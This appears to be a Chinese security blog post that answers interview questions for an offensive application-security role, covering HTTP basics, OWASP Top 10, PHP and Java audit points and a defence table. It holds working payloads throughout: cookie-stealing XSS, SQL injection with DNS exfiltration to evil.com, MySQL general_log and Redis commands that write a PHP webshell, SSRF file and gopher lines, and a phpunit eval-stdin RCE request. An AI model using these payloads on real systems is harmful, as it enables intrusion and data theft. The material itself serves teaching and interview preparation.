安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?攻防研究員(應用安全)
一、基礎部分
1. HTTP狀態碼對比
2. HTTP請求方法核心作用
3. 網絡分層協議速查表
二、OWASP TOP 10攻防要點
1. XSS代碼執行原理
2. XSS常用標簽與Payload
3. HttpOnly防御機制
4. SQL注入快速檢測
5. 無回顯注入解決方案
6. MySQL延時注入替代技術
7. DNSLog原理圖解
8. 單引號攔截繞過技術
9. MySQL寫Shell高階方法
10. Redis未授權寫Shell
11. SSRF利用鏈與高危協議
PHP安全審計核心要點
1. 審計流程
2. 命令執行函數
3. 文件上傳函數
4. 代碼執行函數
5. vendor目錄風險
6. phpunit漏洞利用
7. 無文件Shell實現
Java安全審計核心要點
1. 通用漏洞組合利用
2. 命令執行函數/包
3. 主流框架漏洞
4. 審計流程與專長
5. Tomcat回顯技術
6. 內存馬實現方式
防御關鍵點總結
?攻防研究員(應用安全)
# 基礎 1. http狀態碼,502,503,501 2. http請求方式及各自作用 3. 計算機網絡的分層及分別有哪些協議# owasp top 10 1. xss如何執行代碼 2. xss常用哪些標簽 3. http only 4. 怎樣判斷是否存在注入 5. sql注入無回顯怎么辦 6. 延時注入除了sleep的其他姿勢(mysql) 7. dnslog的實現原理 8. sql注入,單引號被攔截,如何繞過 9. sql注入,寫shell的語句,除了into outfile還有什么mysql的特性可以getshell 10.redis的利用,如何shell,相關命令 11.ssrf的原理即后利用,怎么執行命令,常搭配使用的協議# PHP安全相關 1. 審計流程 2. 命令執行函數 3. 文件上傳函數 4. 代碼執行函數 5. vender目錄 6. phpunit 7. php可以構造無文件shell嗎# Java安全相關 1. 挖過的通用洞,你會怎么利用(組合) 2. 命令的函數或包 3. java哪些框架,審過哪些框架,它們常出現的問題是什么 4. 審計流程,你一般關注哪些洞,或擅長挖哪種類型 5. tomcat做回顯 6. 內存馬的實現# 其他 - 寫poc/exp的經歷和心得 - 復現的一些漏洞 - Linux 提權的姿勢 - Linux下有哪些文件進行滲透時比較關注的,及文件權限問題 - dirty cow 的時間及其修復版本(哪年后就沒法用了) - 你覺得什么是你自己比較擅長的而我沒有問到的
一、基礎部分
1. HTTP狀態碼對比
狀態碼 含義 觸發場景 502
Bad Gateway 網關服務器收到上游無效響應 503
Service Unavailable 服務過載或維護中(臨時不可用) 501
Not Implemented 服務器不支持請求方法(如PUT) 補充:502需檢查反向代理配置,503常伴隨
Retry-After
頭部。2. HTTP請求方法核心作用
方法 主要功能 關鍵特性 GET 獲取資源 安全、冪等、可緩存 POST 提交數據(創建/更新資源) 非冪等、請求體傳參 PUT 替換整個資源 冪等、需完整資源 DELETE 刪除指定資源 冪等 PATCH 局部更新資源 非冪等 注:
HEAD
獲取響應頭,OPTIONS
查詢服務器支持的方法。3. 網絡分層協議速查表
分層 核心協議 應用層 HTTP/HTTPS, DNS, FTP, SMTP 傳輸層 TCP(可靠傳輸), UDP(低延遲) 網絡層 IP, ICMP(ping), ARP(地址解析) 數據鏈路層 Ethernet, PPP, MAC地址尋址 物理層 光纖、雙絞線(定義電氣/物理特性)
二、OWASP TOP 10攻防要點
1. XSS代碼執行原理
用戶輸入 → 未過濾嵌入HTML → 瀏覽器解析執行JS代碼
html
復制
<!-- 反射型XSS示例 --> http://site.com?search=<script>**alert(document.cookie)**</script>
2. XSS常用標簽與Payload
html
復制
<img src=x **onerror=alert(1)**> <!-- 事件觸發 --> <svg **onload=alert(1)**> <!-- 矢量圖形利用 --> <a href=**javascript:alert(1)**>XSS</a> <!-- JS偽協議 --> <iframe **src=javascript:alert(1)**> <!-- iframe嵌套 -->
3. HttpOnly防御機制
- 作用:設置
Set-Cookie: sessionID=xxx; **HttpOnly**
- 效果:阻止JavaScript讀取Cookie,緩解會話劫持
4. SQL注入快速檢測
類型 檢測Payload 預期結果 數字型 id=1 **AND 1=1**
→id=1 **AND 1=2**
頁面內容變化 字符型 id=' **'**
數據庫報錯 布爾盲注 id=1' **AND SLEEP(5)**--
響應延遲5秒 5. 無回顯注入解決方案
- DNS外帶數據(需出網):
sql
復制
SELECT LOAD_FILE(CONCAT('\\\\',(**SELECT password**),'.evil.com\\a'))
- 布爾盲注:二分法逐字符判斷
SUBSTRING(password,1,1)='a'
6. MySQL延時注入替代技術
sql
復制
SELECT **BENCHMARK(10000000,SHA1('test'))**; /* CPU計算延時 */ SELECT **GET_LOCK('inject',5)**; /* 數據庫鎖競爭 */
7. DNSLog原理圖解
mermaid
復制
graph LR A[目標服務器] -- 發起DNS查詢 --> B(**惡意域名: data.attacker.com**) B --> C[DNS服務器] C --> D[攻擊者查看日志] D --> E(獲取“data”內容)
8. 單引號攔截繞過技術
- 編碼繞過:
CHAR(39)
代替'
(ASCII 39=單引號)- 寬字節注入:
%bf%27
→ GBK編碼吞并轉義符\
- 數字型注入:直接使用
id=1
避免引號9. MySQL寫Shell高階方法
sql
復制
SET GLOBAL **general_log = 'ON'**; SET GLOBAL **general_log_file = '/var/www/shell.php'**; SELECT '<?php **system($_GET[cmd])**; ?>'; /* 日志寫入Webshell */
10. Redis未授權寫Shell
bash
復制
CONFIG SET **dir /var/www/html** # 設置Web目錄 SET payload "<?php **system($_GET['cmd'])**;?>" CONFIG SET **dbfilename shell.php** # 保存為PHP SAVE # 持久化到磁盤
11. SSRF利用鏈與高危協議
協議 利用場景 命令執行示例 file:// 讀取本地文件 file:///etc/passwd
gopher:// 發送任意TCP請求 構造Redis協議執行 FLUSHALL
dict:// 探測內網端口 dict://127.0.0.1:6379/info
PHP安全審計核心要點
1. 審計流程
mermaid
graph TD A[信息收集] --> B[入口點定位] B --> C{敏感函數追蹤} C --> D[漏洞鏈構造] D --> E[PoC驗證]
- 信息收集:
composer.json
依賴分析、框架版本比對(如Laravel CVE-2021-3129 RCE)- 入口點:
$_GET/$_POST
、file_get_contents('php://input')
、$_COOKIE
- 敏感函數追蹤:全局搜索
eval
/system
/unserialize
- 漏洞鏈:如文件上傳+路徑穿越→本地文件包含→RCE
2. 命令執行函數
高危函數 利用場景 system()
直接執行系統命令 shell_exec()
無回顯命令執行(需輸出劫持) popen()
管道形式執行命令 proc_open()
多進程控制(可交互式Shell) 3. 文件上傳函數
move_uploaded_file()
:
繞過方案:%00
截斷(PHP<5.3)、/.
目錄穿越(Linux)file_put_contents()
:
風險:<?php
標簽直接寫入Web目錄 → Webshell4. 代碼執行函數
函數 觸發方式 eval()
直接執行字符串代碼 assert()
斷言語句執行PHP代碼 preg_replace(/e)
修飾符 e
導致代碼執行call_user_func()
回調函數執行系統命令 5. vendor目錄風險
- 依賴包漏洞:如
phpmailer/phpmailer
< 6.5.3 (CVE-2021-3603 RCE)- 利用方式:
- 查找已知漏洞組件版本(
composer.lock
)- 觸發漏洞鏈(如反序列化+POP鏈)
6. phpunit漏洞利用
- 未授權RCE:暴露
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- Payload:
http
POST /eval-stdin.php HTTP/1.1 Body: <?php system("id"); ?>
7. 無文件Shell實現
技術 原理 內存駐留 通過 php-fpm
未授權訪問執行代碼反序列化鏈 利用 Monolog
/Guzzle
庫的__destruct
觸發OpCache覆蓋 篡改緩存文件(需條件:文件可寫+已知路徑)
Java安全審計核心要點
1. 通用漏洞組合利用
mermaidgraph LR A[Fastjson反序列化] --> B[JNDI注入] B --> C[LDAP惡意類加載] C --> D[遠程代碼執行]
- 經典組合:
- Shiro RememberMe + 硬編碼密鑰 → AES反序列化RCE
- Log4j2 +
${jndi:ldap://}
→ 遠程類加載2. 命令執行函數/包
類/方法 所屬包 Runtime.getRuntime().exec()
java.lang
ProcessBuilder.start()
java.lang
GroovyShell.evaluate()
org.codehaus.groovy
3. 主流框架漏洞
框架 常見漏洞類型 案例 Spring SpEL表達式注入 CVE-2022-22963(Cloud RCE) Struts2 OGNL表達式執行 S2-045(RCE via Content-Type) Shiro 權限繞過/反序列化 CVE-2020-1957(路徑繞過) 4. 審計流程與專長
- 核心關注點:
- 反序列化入口(
readObject()
、JSON/XML解析)- 表達式注入(OGNL、SpEL、EL)
- 權限校驗缺失(Shiro注解繞過)
- 專長方向:
- Java反序列化鏈:構造CC鏈、Tomcat鏈攻擊
- 內存馬注入:無文件持久化攻擊
5. Tomcat回顯技術
- 寫入響應流:
java
WebappClassLoader loader = (WebappClassLoader) Thread.currentThread().getContextClassLoader(); ServletContext context = loader.getServletContext(); HttpServletResponse response = (HttpServletResponse) context.getResponse(); response.getWriter().write(" 命令結果");
6. 內存馬實現方式
類型 注入點 持久化方式 Servlet型 addServlet()
動態注冊惡意Servlet Filter型 addFilter()
攔截所有請求 Agent型 Instrumentation
字節碼修改(無文件)
防御關鍵點總結表
風險類型 PHP防御方案 Java防御方案 命令執行 disable_functions
禁用高危函數SecurityManager限制執行權限 文件上傳 MIME檢測+隨機文件名 文件頭校驗+獨立存儲域 反序列化 避免 unserialize
用戶輸入使用 SafeObjectInputStream
無文件攻擊 禁用 php-fpm
未授權訪問JVM參數禁止遠程類加載